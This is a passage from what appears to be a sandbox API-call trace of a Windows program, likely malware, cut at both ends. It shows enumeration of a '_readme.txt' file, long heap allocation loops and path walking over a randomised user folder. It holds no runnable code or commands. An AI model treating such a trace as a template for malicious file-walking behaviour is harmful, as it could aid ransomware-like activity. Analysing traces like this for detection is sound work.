hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d06e70, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13d06e70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d06e70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.386] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.386] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.386] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.386] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0059.386] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.386] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.386] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.386] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.386] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.386] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.387] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.387] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.387] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.387] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.387] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.387] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.387] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.387] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.387] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.387] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.387] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.387] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.387] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.387] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.387] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.387] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.387] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.387] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.387] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.387] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.387] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.387] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.387] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.387] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.387] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.387] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.387] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.387] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.387] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.387] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.387] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.391] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.391] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.391] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.391] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.391] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.391] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.391] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.391] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.391] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.391] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.391] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.391] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.391] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.391] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.391] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.391] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.392] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.392] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.392] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.392] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.392] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.392] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.392] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.392] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.392] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.392] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.392] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.392] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.392] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.392] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.392] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.392] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.392] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.393] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.393] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.393] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.393] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.393] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.393] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.393] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.393] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.393] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.393] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.393] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.393] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.393] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.393] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.393] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.393] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.393] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.394] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.394] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.394] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.394] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.394] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.394] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.394] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.394] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.394] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.394] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.394] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd110 [0059.394] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.395] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.395] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.395] PathFindFileNameW (pszPath="") returned="" [0059.395] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.395] LoadLibraryW 